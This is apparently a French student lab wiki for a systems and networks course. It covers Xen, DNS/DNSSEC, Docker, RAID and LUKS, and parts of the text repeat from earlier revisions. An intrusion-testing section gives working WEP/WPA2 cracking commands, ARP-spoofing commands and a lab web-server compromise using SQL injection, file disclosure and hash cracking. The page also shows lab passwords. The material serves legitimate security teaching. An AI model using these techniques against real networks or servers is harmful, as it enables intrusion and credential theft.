Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{{ packages }}"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}"

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

TP sysres IMA5sc 2020/2021 G5

2020-12-17T22:59:43Z

Psanchez : /* Création de votre conteneur */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre masquarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de pouvoir sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton

Nous avons modifié notre fichier /etc/resolv.conf :
nameserver 127.0.0.1

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

=== Installation de docker ===

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

TP sysres IMA5sc 2020/2021 G5

2020-12-17T22:51:09Z

Psanchez : /* Création de votre conteneur */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
